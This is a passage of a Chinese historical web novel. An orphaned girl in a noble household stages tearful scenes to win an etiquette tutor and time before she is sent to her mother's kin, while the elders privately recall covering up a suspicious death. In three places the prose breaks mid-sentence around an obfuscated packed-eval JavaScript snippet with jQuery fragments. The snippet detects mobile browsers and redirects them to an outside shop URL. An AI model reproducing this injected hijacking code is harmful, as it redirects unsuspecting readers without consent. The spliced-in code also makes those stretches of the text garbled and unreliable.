反倒犹如雾里观花,水中望月,万般不真切,竟还需得我来提醒。小姐,您现在能仰仗的只有自个儿,顶多再加上我一条贱命,您若是不坚强起来,清醒起来,这往后余生纵使神仙来帮忙也无用啊!” 说到这里,她忽然想到:“小姐可否记得,夫人仙逝前曾跟您说过:这辈子一定要过上好日子!” 乔絮晚骤然清明起来,应道:“我自然记得的。” “您想想,主君,大公子,甚至老太太,他们那么显贵的身份,在外尚且需要虚情假意逢场作戏,何况我们无权无势的深闺女子呢?” “尤其……尤其小姐现在前路飘摇,若不多为自己做做打算,莫说好日子,怕是连个安稳的余生……都难得啊!” 乔絮晚慢慢垂下头,隐隐哽咽:“你说得……都对,人必自助,而后天助之。我在谢府里自在惯了,养出一身的刺,仗着有阿兄护我,竟连自己的处境都看不清了……” 拂月道:“大公子固然真心待您好,可他终归是个男子,要成家立业,安身立命,他无法守在您身边一辈子。而且、而且男子的心最是多变,公子今日能护着小姐,明日自然也能护着别人!” “——今日、今日游湖不就是这样吗?小姐丢了面子,大公子还这般待您,到头来吃亏的还是小姐您啊!” 乔絮晚一惊,幡然醒悟。 “现在这个情况,是谁都能骑到您头上了!还有,前些日子从方小娘院子过来的那个宝珠总是摸进您房间翻来翻去,今儿个我就见她把大公子送您的首饰盒里那金簪子给带上了!我问她这簪子哪来的,她只撒谎说是自己买的,因着不便告诉外人那是大公子私下送您的,我就也没敢多嘴。” 拂月一脸愤懑。 乔絮晚蹙眉道:“宝珠……?她偷我东西?” 拂月点头道是。 乔絮晚一时沉默。 那个侍女她有印象。 是个心高气傲,又满脑棉絮的货色。 拂月没等到她的回应,干脆也暂时把这点小事抛之脑后,继续劝道: “小姐大抵是记不清夫人的叮嘱了,我此刻就重复给小姐听:小姐要为自己考虑,不论遇到什么事,什么人,都要最先顾好自己!大公子再疼爱小姐,您二人的处境也终究不同,小姐不可将全部希望都寄托到大公子的庇护上!” “说句小姐可能不爱听的话,如果到了实在走投无路那天,大公子的真心,小姐也不是不可以利用……” “不要说了,拂月。”乔絮晚头痛欲裂,“我明白你的意思,我都明白,可……可我与阿兄相伴十年,虽非同根同源的亲生兄妹,却也胜似亲兄妹,你让我利用他,我——” “这种利用又非是要害大公子,不过为我们自己讨得一点好处罢了,”拂月握住她颤抖的纤薄双肩,“这点算计对大公子来说根本无伤大雅,对我们却是能救命的啊!” “……” 乔絮晚抿了抿唇,阖上眼眸,淌下两滴泪。 ——“姑娘,该去向老太太请安了。” 门外忽而传来杜鹃的声音。 “知道……”乔絮晚张了张嘴,发现声线嘶哑,于是一清嗓后才再次答道:“知道了,我马上去。” 拂月扶着她的背,道:“我为小姐洗漱。” “不。” 乔絮晚却道:“你把桌上的糕饼拿来,我吃一些,吃完后我再喝药。” 拂月愣了愣,瞬间面露惊喜。 19. 转变(终) 吃了糕饼,又喝过药,身子总算恢复些许暖意。 拂月打来一盆热水,为乔絮晚敷了敷红肿的眼睛,待面容不再那么憔悴,两人才走出厢房,奔赴康福堂。 ——跨进院门,入目便是一个略显朴素、却又不失高雅情调的庭院。 谢老太太年轻时住在宫中,因受先帝宠爱,日常用度较为铺张,是个好奢华靡丽的人。 后经朝政变动,皇位更迭,反倒清高低调起来,每日诵经礼佛不问世事,硬是洗去了浑身锋芒毕露的高傲,练就了一张菩萨般的慈和面容。 不过在乔絮晚看来,李音皮囊下那自小浸润于后宫中的心肠,可与菩萨完全是两门路子。 在栖鸾院时玉檀特地提前了两刻钟来唤她,是以这会到得还早,仅有李音在堂内用晚饭,谢凌和方鹭笙还未至。 乔絮晚立在阶下,朝李音福了福身:“祖母慈安。” 李音意外于她这个时候便过来了,于是一边打量她还有些红的眼圈,一边道:“你来得倒是早。” 乔絮晚微笑着说:“许久未曾向祖母请安,今日孔妈妈特来嘱咐,孙女不敢耽搁时间,想着……能提前探望探望祖母也好。” 她态度甚佳,李音便也不多说什么,只让她在下首旁侧的圈椅坐了。 喝下最后的一点粥后,李音用侍女递来的帕子擦了擦嘴,淡淡道:“难为你有这份心,本来听下人说你在院子里哭了一下午,我还以为你会告病不来了。” 乔絮晚从容应答:“左不过是孙女在为一点小事闹情绪罢了,万不敢因此推拒向祖母请安。” 李音不免多看了她一眼。 还以为她会臭着一张脸过来呢,没想到这嘴竟反倒格外地甜…… 本想拿下午摔琴吵架之事敲打敲打她的李音见状也是无从发作,生硬地清了清嗓,道:“你下午是为什么哭啊?说与我听听。” 乔絮晚略一颔首,道:“说来惭愧,孙女今日出门与别家公子小姐游湖,因不会点茶抚琴闹了笑话,孙女自觉没脸,一时心急,就任性地离了席,让其他姑娘脸上也不好看了。阿兄见我如此失礼便想带我回来教导一番,结果我气昏了头,就……” 她愧疚地低下头,眼眸又泛起水雾。 李音冷嘲道:“你脾性还不小,拿别家姑娘撒气不提,你表兄好意教你,你还摔他的琴。骅涧的琴每一张都价值千金万金,虽说对我们这国公府来说算不得什么,但也不是能让你随意摔打的!难不成你唤他一声兄长,就真把自己也当谢家人了?” 乔絮晚迅速从椅子上站起身跪到地面,垂首低泣道:“孙女不敢!孙女自知失了礼数,且自己丢人也就罢了,还毁了阿兄一片好心!这一下午孙女关上房门在屋里静思反省许久,心中实在羞愧不能自已,还望祖母责罚!” 她直挺挺叩下头颅,让额头紧贴在凉凉的地板上,肩背细微颤抖,仿佛凄惶至极。 李音道:“责罚?难道我罚你赔琴,你能赔得起?” 乔絮晚跪趴在地上,声音略显沉闷:“孙女自是赔不起,倘若祖母不介意,孙女可以打个白条,待日后嫁人了再……” “快快闭嘴罢!好不害臊啊你!!” 李音拍着桌子恨恨大喊,“什么打白条!真真是龙生龙凤生凤,老鼠生儿会打洞!你没在你那商贾父亲身边长大,也还跟他一个寒酸秉性!” 骂完后她大喘几口气,继续嘟囔:“从没听过哪家高门贵女会说打白条这等话,果然下贱门户就是生不出什么好种,便是养在我们谢府这种百世清贵的人家也救不了!” 一旁的孔嬷嬷见此赶忙上前抚背顺气。 乔絮晚静静跪在地上,一言不发。 ——若是放在以前,她必定要抬头问问这到底是在骂她父亲还是她母亲,再接话道她毕竟是从她娘肚子里出来的,这下贱门户的称呼,莫不是要落到慕府头上。 不过现在与老太太争那一时之快毫无意义。 她还有更重要的事要做。 恰逢此时,门外传来脚步声。 守在门口的侍女进来禀报:“老太太,主君和方小娘到了。” 李音顺了顺气,道:“让他们进来。” “是。” 谢凌一进门就见一个坐在椅子上满面怒容,一个跪在地上一声不吭,顿时奇道:“这是怎么了?乔丫头惹母亲您生气了?” 李音气得不知该如何形容刚才那副场景,默然少顷后干脆摆手道:“罢罢罢!不提也罢!你俩先坐着吧。” 谢凌便也不多问,直接在离她最近的圈椅上落座。 方鹭笙则先是道了一声“婆母慈安”,随后坐到谢凌旁边。 徒留乔絮晚一人跪着。 谢凌对李音道:“母亲,今晚缘何突然叫儿子过来?” 李音语气略缓,道:“还能有什么事,慕家最近有没有什么动静?” “并无,只是常常私底下派人打探乔丫头的消息,儿子也想不通他们是想干嘛。” “打探消息是正常的,那慕芷汀当年……”李音说到这,顿了一秒,才继续道:“当年走得不光彩,女儿又在咱们家借住了这么多年,他们担心这姑娘对他们心中积怨,做些什么有损慕家清誉的事,所以才想事先探探消息。” 谢凌点点头,认为这个说法在理,又道:“那母亲有想好何时将乔丫头送走吗?” 李音蹙起眉:“沁雪那边还在劝着呢,哪有那么快?不过我觉着应当也用不了几天了,我看这个月下旬,又或者下个月初就可以收拾收拾,把她送回去了。” 两人在上头若无其事地探讨乔絮晚去处,仿佛忘了乔絮晚本人就在下面跪着,全然没有过问她的意见。 乔絮晚于是自行开了口:“祖母,姨丈。” 话音止住,李音和谢凌一齐看向她。 李音嫌恶道:“怎么了?你不愿走?” “不,并非孙女不愿走。”乔絮晚直起身,用微红的双眼直视他们,万分真挚道:“谢家多年养育之恩,阿晚自知无以为报,如今离别之际将近,阿晚……只想再求祖母和姨丈最后一件事。” 谢凌有些好奇:“什么事?” 乔絮晚道:“想求祖母姨丈……为阿晚寻得一位能够教导礼仪的嬷嬷。” 李音和谢凌皆感诧异。 谢凌继而问道:“倒不是不行,可你怎么忽然想学礼仪了?” 乔絮晚啜泣道:“自姨母不在后,阿晚懒惰散漫,疏于学习,结果今日在外丢了脸。而今即将回到慕家,我只担心若让慕家人见了我这般粗野无礼的样子,会不会有损谢家的颜面?” “阿晚自己丢人倒也罢了,算不得什么,可谢家养育我这么多年,为我一个无依无靠的孤女提供住处和衣食,这是何等恩惠。阿晚心中不胜感激,属实不想让他人因我而对谢家指指点点。——还请祖母姨丈成全!” 说罢,她又深深地叩下头颅,哭泣不已。 这番话中肯诚挚,目的又是为了求知求学,李音和谢凌两个年长的听了,一时半会还真生不出拒绝的心思。 乔絮晚接着道:“祖母姨丈慈悲,只允我一个月时间即可,一个月后,便是慕家不愿接受我这个从外边来的孩子,我也会收拾好行李,自行找个去处。” 谢凌拧眉道:“你一个未出阁的姑娘能有什么去处?不是,你先说为什么是一个月?” 听到这话,乔絮晚几乎要贴到地板的面容霎时一冷。 然她依旧维持着悲戚的语气:“因为再过一个月……便是姨母的祭日了。” 堂内蓦然一静。 “阿晚怕回慕家之后琐事繁多,无法抽出时间回来祭拜姨母,就想着,要不先祭拜过了再走也好。” 见另三人都不说话,乔絮晚便期期艾艾地继续说:“阿晚还记得自己刚来时,因心中挂念亡母,日日不见欢颜, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575786|142727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姨母担忧我就此生出心病来,整日陪在我身边逗我开心,吃的穿的用的也皆是最最上等的。这份恩情,阿晚没齿难忘,姨母对阿晚来说无异于第二个生母,还请祖母和姨丈宽容,让阿晚尽孝吧。” “……” 李音与姨丈对望一眼,眼中神色各异。 方鹭笙垂着头,手指紧绞。 一阵沉默过后,李音率先道:“你要我给你请嬷嬷来教导礼仪,可以,毕竟这事也算我们谢家的疏忽。当初我一心清修静养,本以为有个小娘看着你的教学也行了,没成想……唉,看来这府上没个大娘子看家终究不成样子啊。” 方鹭笙脸一白。 她急惶惶地到乔絮晚身边跪下去,痛哭流涕道:“婆母,此事是我的错!我年幼时家道中落,没来得及学习如何管家便匆匆出嫁,当初大娘子去世,我初次执掌中馈,经验不足,哪哪都慌乱得很,竟把乔姑娘的教学忘到了脑后!此番全是我的过错!” 她连连磕头,额头几欲跟地板磕出声响。 乔絮晚微微侧眸,心情颇为复杂。 对于这位方小娘,她一贯是排斥与其接触的。 当年方鹭笙进门不足一年便将本就身体不好的慕芷兰气到去世,乔絮晚自是怀恨在心,一直思索着该如何报复。 李音老了,不爱管事,即便有如山的威严,她不用也是白费。 谢凌偏宠方鹭笙,又素来不管后宅之事,那年慕芷兰去世他也不过对方鹭笙稍作惩处。 谢骅涧尚且需顾着前朝政务,何况有父亲谢凌护着,他也无法真正对方鹭笙做些什么,顶多针对下方家,折折她的势力。 这后宅之中,如今只有纳入新任的大娘子,才能真正制住方鹭笙。 方才提起自己教学一事,实则也是在暗中引导李音,试着勾起她填补谢府空缺已久的大娘子之位的念头。 显然,她成功了。 可方鹭笙现在这表现,却也让她感触良多。 谢骅涧跟她说过,方鹭笙的父亲是从六品官,在翰林院任职,也算是个书香门第,清流之家。 只是当年方父站错了队,险些被革了职,危急关头全靠方鹭笙用了些不光彩的手段勾引到谢凌,让自己成功怀上他的种嫁入谢家当妾,这才力挽狂澜。 照这样说,方鹭笙原先也称得上一声“小姐”。 起码比她这个商贾之女高贵许多。 可方鹭笙现在…… 乔絮晚瞧着方鹭笙哭花的脸,听着她接连不断磕出的响头,心中说不出是何感想。 她明白,方鹭笙很怕有新的大娘子进门。 谢府有了新的大娘子,于谢府是好事,于方鹭笙、包括她背后的方家,却可能是灭顶之灾。 方鹭笙年幼风光,决定勾引谢凌时或许挣扎过,可接受了自己以色侍人的现实、当上宠妾后也依旧风光。 可再风光,如今也得抛却曾经官家小姐的身段架子,摆出笑脸流出眼泪惺惺作态。 在这里,想过得好,也只有这样。 她依旧恨着方鹭笙,此时却也难免有一丝物伤其类。 这时,李音蓦然出声,打断了她的思绪:“行了,赶紧起来吧,你一个妾室,我本来也没对你抱什么希望。何况人都长这么大了,再翻这些陈年旧账又有何用?” 方鹭笙抹了抹眼泪,悻悻回到座位。 谢凌为难道:“慕家那边尚未表态,大娘子这个事儿……” 李音道:“担心什么?等这次把话都说开了,咱们两家再找个由头办场宴席,让外人知道我们已经和好,再议亲不是方便许多?” 谢凌笑着拱手:“母亲说得是。” 李音又对乔絮晚道:“过个两三日,我会从宫中请一位专司入宫秀女礼仪教导的嬷嬷,届时你就跟着她好好学吧。若是你对那嬷嬷有任何顶撞,我马上将人送回宫。” 乔絮晚深深弯下腰:“是。” 20. 和好 返回栖鸾院的路上,一路无言。 拂月方才在堂内听了全程,完全猜不透自家小姐实际想要做什么,可外面人多眼杂,她也不好多问,索性闭着嘴扶着乔絮晚慢慢走。 走到小桥上时,乔絮晚忽然问道:“拂月,你这些天在院子里跟新来的女使相处,觉得她们为人如何?” 拂月愣了愣,直道:“观鹤居来的宝珠宝蝉很是高傲招摇,谁都看不起,嘴臭不说,做事也不利索。” “宝珠甚至手脚也不干净,还是个耳报神,一有什么风吹草动就往观鹤居递消息。这俩在咱们院子里人缘很差,不过倒也有几个甘愿巴结上去的,可能是盼着两人回去后能在方小娘面前说说好话,让她们也去观鹤居享福。” “康福堂来的鹦儿翠蝶倒是谨慎得很,说话办事虽也有些拿乔摆谱,但总归挑不出错来。康福堂尽管是老太太坐镇,可毕竟清苦压抑,大家对这两人至多敬重三分,再没别的举动,奴婢暂时没发现什么异常。” 当初分到栖鸾院的女使虽说都是对慕芷兰忠心耿耿的,然慕芷兰去世这么多年,就算众人心里仍记着她的好,也不会将这些好过多分到乔絮晚身上。 尤其近年来栖鸾院总是被私下克扣份例,到手的月钱越来越少,已有许多人向如今管家的方小娘请愿调去了别的地方干活。 剩下的部分人平日听不到什么抱怨声,行事上却也颇多懒怠。 拂月忧心忡忡道:“小姐,自从这几个人来了,奴婢心里总感觉不踏实,要不您什么时候找个理由将她们打发回去吧?” 乔絮晚怡然道:“不急,这才哪到哪。你回去之后跟玉檀她们几个说说,让她们平素多注意着点,尤其盯着那个宝珠,有何异动就来告诉我。” “是。” 说话间,到达栖鸾院。 她回了自己卧房,任拂月鸢尾她们为她洗漱更衣,拆开发髻,又聊了会闲话,随后慢腾腾爬上床榻,准备好生歇息歇息。 哭也是个体力活。 她先是真心实意地哭了一下午,后又在康福堂虚情假意地哭了半晌,是以固然这会儿时辰还不算晚,她也疲累得厉害。 然而正当混混沌沌快要入睡时,杜鹃却急匆匆地跑来敲门:“姑娘!大公子来了,说找您!” 乔絮晚霍然一惊。 大脑没能跟上身体清醒的速度,她坐起来,怔忡道:“阿兄?” ……他火气消得这么快? 还是嫌下午没吵够,这会想过来继续教育她? 乔絮晚迷瞪半天,握拳敲了敲脑袋,仍有些晕乎:“让、让他进来吧。” 刚走到屋外裁剪衣服的拂月闻言,赶忙又跑回来为她披上外衫。 乔絮晚懵懵道:“这么晚过来是要干嘛……” 拂月以气音道:“不管大公子想干嘛,小姐都一定要像今天在老太太和主君面前一样,顺着脾气往下捋!” 乔絮晚撅了撅嘴,一脸不情愿。 对着李音谢凌甚至方鹭笙她都可随意放下尊严面子去哭去讨好,可面对谢骅涧……她还是有些放不开。 她下意识侧头瞧了拂月一眼。 拂月面上满是激励与信任的神色。 乔絮晚没法子,只得道:“好好好,我知道了……” * 吱呀一声,房门被推开。 黑靴率先迈入,随后颀长出挑的身姿裹挟夜露走了进来。 ——入目便是床榻上的少女一袭牙白寝衣搭着外衫,单薄的上身侧倚着枕头,一手以手背支撑下颌,另一只手拥着锦被,乌发半散,螓首微垂,眉眼低敛,看着柔弱而惹人怜惜。 谢骅涧脚步微顿,蹙了蹙眉。 乔絮晚半耷着眼皮,没去望来人,只哑声道:“夜深了,阿兄怎么还没歇下?” 谢骅涧迟疑半秒,重新迈开步子,走到床沿坐下:“睡不着,又听说你被祖母叫去请安,就过来看看。” “这有何值得看望的?阿兄难道怕祖母把我给吃了不成?”她轻微扯了扯嘴角。 还有心情开玩笑? 谢骅涧颇感意外。 他瞅着乔絮晚低垂的苍白小脸,问道:“祖母跟你说什么了吗?” “说……准备给我送去慕家。” “何时?” “再过一个月。” “……” 谢骅涧沉默片刻,道:“再过一个月,便是母亲的祭日了。——是你求祖母让你留到那个时候的吗?” 乔絮晚坦然说:“是,另外我还求了祖母为我请一位教礼仪的嬷嬷,这一个月,我也学学礼仪,站站规矩。” 闻言,谢骅涧眉头锁得更深。 然而不等他开口说什么,乔絮晚便继续道:“不管是为了日后回慕家,还是未来嫁人,现在学点礼仪规矩总归没错,也不至于像今天一样,任性妄为。” “……今天在船上到底发生什么了?” 乔絮晚眼神闪烁:“没什么啊,不过是别人邀我一起点茶抚琴,我不会,闹了笑话,就把她们撇下自己走了。” 谢骅涧追问:“谁邀的你?” “……” 乔絮晚不语。 谢骅涧道:“你不会点茶抚琴这些杂七杂八的东西,就直说是谢家这么多年没找人教你就行了,自己羞个什么劲?” 乔絮晚小声嘟囔:“我要是这么说,我成什么人了?谢家养我十年,我出门在外反倒跟人说谢家没好好教导我,那旁人会怎么想我?又该怎么想谢家?” “他们爱怎么想就怎么想。”谢骅涧全然不在乎道,“你不想丢脸,我理解,那就让谢家替你丢呗。谢家小娘当家的笑话早就传遍京城了,老东西尚且腆着脸活着,你这又算个什么事?” “如何就不算个事了?” 乔絮晚蓦然抬起头,望着他的一双杏眼湿漉漉的,哽咽着喊道:“阿兄你根本就不懂!你、你不懂我究竟为何而难过!我又为何如此失态!” 谢骅涧坐直身子,面色紧绷道:“是!我是不懂!那你说说究竟为什么?” 乔絮晚定定看了他许久,流下两行清泪:“因为你啊,阿兄。” 谢骅涧一愣。 乔絮晚垂下眼帘,抽泣道:“我就直说了吧,今日我在船上失礼其实有两个缘由,一是那令翩然欺我是个粗野丫头,身无长技无礼无知,故而拿点茶抚琴这等高雅之物羞辱于我。实则 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13582938|142727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她这般羞辱我倒也没什么,横竖不是头一次了,我能忍,可……可毕竟二姐姐也在场啊!” 她伸手抓住谢骅涧的袖子,清丽的面容上满是泪痕,“阿兄……二姐姐她是……我见到的第一个慕家人啊,这么多年我心底一直盼望着跟娘亲家的人见面,结果今日只一个照面……令翩然就逼迫我在二姐姐面前袒露出自己的粗鄙浅陋,叫我如何能……能抬得起头来?” 谢骅涧面上仅余的一丝戾气也散去,眸中唯有她泪湿的脸。 “这一点,若是我能狠狠心舍下这层面皮便也不算什么了,可其二……是我没想到阿兄与慕姐姐如此相熟。” 乔絮晚抬眸望向他,神色尽是遭到背叛后的悲痛。 谢骅涧不解地问:“二表姐?她怎么了?” 乔絮晚咬了咬唇,“阿兄从未和我说过,你与二姐姐这般熟识。” “……”谢骅涧沉吟片刻,道:“我与二表姐不过泛泛之交,本也没什么可说的。” 乔絮晚泪流得更凶:“阿兄,你是不是也觉得……二姐姐比我好多了?又是高门嫡女,大家闺秀,又雍容华贵,而我却——” “你从哪儿听来的话?!” 谢骅涧愠怒道:“什么高门嫡女大家闺秀,这京城里遍地都是有何可稀奇的?在我这她不过是一个刚认识数月的表姐,你是我放在心尖儿上疼了十年的妹妹,如何能比?!” “可我怕啊!”乔絮晚哭泣着将头靠上他的肩,咸湿的水珠瞬间打湿他一小片衣衫,“我怕,我怕阿兄也和旁人一样厌嫌我,觉得我不如别人优秀,觉得我粗俗无礼……阿兄,你是现今这世上唯一还疼我的人了,如果有一天连你都厌了我,那我真的……真的走投无路了……呜……” 她哭得肩膀都在颤抖,谢骅涧低叹一声,揉揉她的脑袋,道:“你就是爱胡思乱想,我要是真会厌嫌你,早在这十年里就与你生分了,何至于等到现在?” 乔絮晚也不知听没听进去,依旧靠在他肩头抽抽嗒嗒的。 没办法,谢骅涧只好搂过她的背,轻声道:“你还在怨我今日凶你吧?阿兄也不愿如此,可若是你现在不将性子打磨得圆滑些,以后指不定会被小人暗算……就像母亲那样。” 他默然一息,才继续道:“我终究无法时时刻刻护在你身边,所以平时也不免总会多考虑些,即便你恨我怨我,我也认了。” “不过你这回着实是受了委屈,要是实在咽不下这口气,就不去道歉了吧。二表姐素来宽容仁慈,想必也不会在意这点小事,若她问起,我替你道个歉,你什么也不必说。” “……不,不行。”乔絮晚却抬头道:“这事确实是我失礼在先,我得向二姐姐,还有那日一同点茶的女眷们亲自说声抱歉才行。” “真的?”谢骅涧有些怀疑地低头看她。 乔絮晚坚定道:“嗯!” 谢骅涧又瞧了她半晌,道:“也罢,正好下月初林三娘子要在自家庄子里举办游会,届时你我一起去,倘若遇到她们了,就过去说吧。” “好。” 乔絮晚应答后,重新埋进他怀里,仍挂着泪珠的眼睫下却不如声音那般乖巧,反而闪烁着几分心虚与盘算。 21. 谈话 “大娘子的人选,你心里可有考量?” 空寂的康福堂,沉暮沧桑的嗓音缓缓响起。 夜已深,乔絮晚和方鹭笙请安过后皆回了房,李音独让谢凌留下,问出这么一句。 谢凌恭敬道:“有一些,待与慕家正式交好后,儿子会列出人家,让母亲过目。” 李音手执香箸,在香炉里轻轻拨弄着,语气不咸不淡:“这回选人,可不能再选像慕氏那种经不起事儿的了,空有管家的本领,别的一概不行,还能被一个偏房给算计死。” 谢凌闻言,面上既无对亡妻的眷念悲伤,也无对偏房的痛恨不满,依旧是极冷漠的神情,只问道:“慕氏的死,当真与方氏有关吗?” ——香箸微顿,在鎏金香炉的边沿轻磕两下,掸掉上面沾染的香灰。 李音冷肃道:“这话就莫要再问了,左右与她脱不了干系就是。” “当年出事时,正值你升迁尚书的紧要关头,半点意外出不得,我只好对外宣称慕氏是积劳成疾,病死的,又叫人日夜严防死守才没让慕家闯进来验尸,时候一到便草草将人下了葬,就是怕他们万一真查出来点什么,影响你的仕途。如今其人也是黄土一抔,再提这些又有何用?” 谢凌低声称是。 他不由回忆道:“慕氏体弱我一贯是知道的,可她虽小病小灾不少,底子却也勉强算康健,不料卧床一月忽然就殁了。事出蹊跷,我也不是没怀疑过方氏,但正如母亲所说,那个时候若真查出来什么,极易被人抓住把柄,我便囫囵了过去,由母亲代劳处理。” “如若不是母亲相助,儿子今时如何可就难说了。” 他拱手作揖。 李音道:“你那个妾室太过聪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13582939|142727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明。倘若慕氏的死非她所为,那自是极好的,倘若与她有关,咱们那时也只能对她睁一只眼闭一只眼,以免遭人怀疑。结果竟落得你跟骅涧二人父子离心,骅涧估计也因他那不明不白死去的娘亲一直记恨着我,甚至还因此放着正经的官职不做,非跑去皇城司那——” 她霍然顿住,微微咬牙:“真是棋错一招,满盘皆输!” 谢凌越发低了头。 两厢静默一阵,李音将香炉的盖子重新盖好,声音凉薄道:“就这么一直让妾室当家终究不成体统,原先我顾着你的仕途,顾着旁人的猜忌,更顾着家中不能一个主君的妻妾都没有,这才让她潇洒到今日。” “等与慕家和好后,我想个法子,又或者你寻个有点手腕的大娘子,将她处理了吧。” 谢凌微蹙了蹙眉,却也颔首道:“全凭母亲做主。” 22. 嬷嬷 正如答应乔絮晚的那样,李音确实遣了人去宫中请嬷嬷,只是花费了些许时间,六日后,连带一个嬷嬷并两位女官一道来了谢府。 那礼仪嬷嬷身着全无一丝褶皱的深紫华服,面容苍老而肃穆,身边立着的两位女官也同样表情冷肃,仿佛是被精心打磨过的大理石雕像,令人忍不住敬而远之。 李音说,这位嬷嬷姓钱,十二岁入宫,至今五十二岁,已在宫中待了四十年,手底下带过的嫔妃数不胜数,甚至连当今皇后都曾被她教导过。 而跟她一同过来的两位女官也皆年过三十,经验老道,左边那个叫夏荷,右边那个叫秋菊,都是钱嬷嬷的得力助手。 对于世家小姐的礼仪教导自然不如后宫嫔妃严格,钱嬷嬷此番过来,主要也只是教教坐立行卧,四行八雅。 内容说多不多说少也确实不少,且细枝末节较为繁琐,所以在教学开始前,她给乔絮晚定了规矩: 早上辰时初到专门清出来让她学礼仪的墨斋坐好,午时二刻回房用饭歇息,未时初再过来,直到酉时二刻结束一天教学,每晚照常布置课业。 乔絮晚乖巧应好,心中不免微微打怵。 第一日,她准时抵达墨斋,跪在蒲团上,听前方的钱嬷嬷不疾不徐道: “老太太跟我说,你原先也是受慕大娘子悉心教导过的,想必礼仪方面也有一定基础。” 乔絮晚点头:“是,只是当时年岁尚小,学得不多,大多仅了解些粗浅的皮毛,如有哪里笨手笨脚的闹了笑话,还望姑姑多多担待。” 她微微弯腰,姿态柔顺。 钱嬷嬷颇为满意她这谦逊的态度,脸上的神色也不似初来时那般冷硬,语气祥和道:“无妨,你要是什么都会,我这一趟也算白劳动了。不过我得提前跟姑娘说一句,我这人于教学一道向来比较苛刻,说话也略直些,若有得罪,也请姑娘忍耐忍耐。” “姑姑言过了,阿晚不敢。”乔絮晚浅笑道。 客套地寒暄过后,钱嬷嬷道:“接下来的一个月,我会教你坐立行卧,诗酒花茶,琴棋书画,以及六艺中其四——礼,乐,书,数,和女子四行,妇德、妇言、妇容、妇功。” “……?” 乔絮晚面露不解,但抿了抿唇,没敢发问。 钱嬷嬷却直白道:“你有何问题大可直接说出来,一个月的时间不多,心存疑虑只会拖慢学习进度。” 乔絮晚略一颔首,道了声“是”,随后问:“姑姑所说的这些,前十二个皆是闺阁女子应修之礼,阿晚明白,可这后八个……是为什么呢?” 钱嬷嬷道:“先前老太太派人请我过来的时候,我本也以为只教些寻常的闺阁礼仪即可,但她又说你马上要议亲,让我在这方面也多提点提点你。” 她微微肃了神色,凝起眉头:“我不论你的出身如何,将来是妻是妾,你如今归我教导,我就会按照正室大娘子的规格来约束你,而正室大娘子,首要的职责便是执掌中馈,换而言之,即是要会管家。你若连算盘都不会打,连账本都不会看,那还谈何御下管家?” 说罢,她又稍展了眉心,随意道:“你要是不想学,也可以,反正凭你的相貌即便只会些风花雪月的本事,也足够当个宠妾。” 乔絮晚连忙道:“不!我想学!请姑姑指点!”她深深垂下头颅。 钱嬷嬷神情欣慰:“你有这份上进心就好,行了,话也不多说,你过来,今日先学学仪态和书法。” * 戌正时分,栖鸾院。 “啊……轻点……” “轻些啊……嗯……不成……” “嘶——疼疼疼疼啊啊!!” 趴在床上、被捏中酸痛处的乔絮晚登时一个激灵,竭力挥动绵软如面条的胳膊将坐在她背上按摩的拂月赶了下去,一边慢腾腾翻身一边连声哀呼: “我的祖宗……你项籍转世啊这么大手劲!哎哟……嘶……我看今年的武状元选拔你也不妨一试……” 拂月下了床,无奈道:“小姐你也太夸张了吧,有那么疼吗?” 乔絮晚长叹一声,仿佛命不久矣般虚弱地喘着气:“那个钱姑姑,真真儿厉害啊,不过学个仪态和写字,险些要去我半条命……你快帮我看看身上有没有哪里发青发肿的,我总感觉不太对劲……” 拂月依言掀开她的衣服察看,“好像没有,应该只是骨头酸痛吧?要不奴婢拿点药油过来给您涂涂?” “啊,也好,也好。”乔絮晚一摆手,任她去拿。 守在旁边的鸢尾看着她这仿佛咸鱼一样平躺在床上的模样,不禁失笑道:“要是让姑姑见到您这不端庄的姿态,怕是又要拿板子了。” 乔絮晚撇撇嘴,道:“别提了,我长这么大,今天还是第一次被打,老太太还真是会选人治我。” “姑娘应该早就料到老太太不会让您好受了才是,既然如此,又为何要主动请求学习礼仪?” “……”乔絮晚默了默,开口道:“但将行好事,莫要问前程。有些事,我不得不做,有些苦我也不得不吃,这些都是必需的过程。” 这话似乎另有深意,但鸢尾想不出来,于是挠了挠头,决定放弃思考。 恰好拂月拿了药油过来,她撸起袖子,将药油挤到手上,在乔絮晚格外酸痛的关节处细细涂开。 一股子奇异的药味瞬间在房间内弥散开来。 乔絮晚皱了皱眉,将脸埋进枕头,与气味隔绝。 她不大喜欢这种味道。 容易令她回想起一些不好的记忆。 拂月边涂边说:“等涂完药油,小姐还得抄书,今夜估计要很晚才能睡了。” 乔絮晚顿时更加愁眉苦脸。 今日课上钱嬷嬷让她写字给她看看,结果她写了之后,钱嬷嬷盯了好久,拧眉问出一句:“你这字是谁教的?” 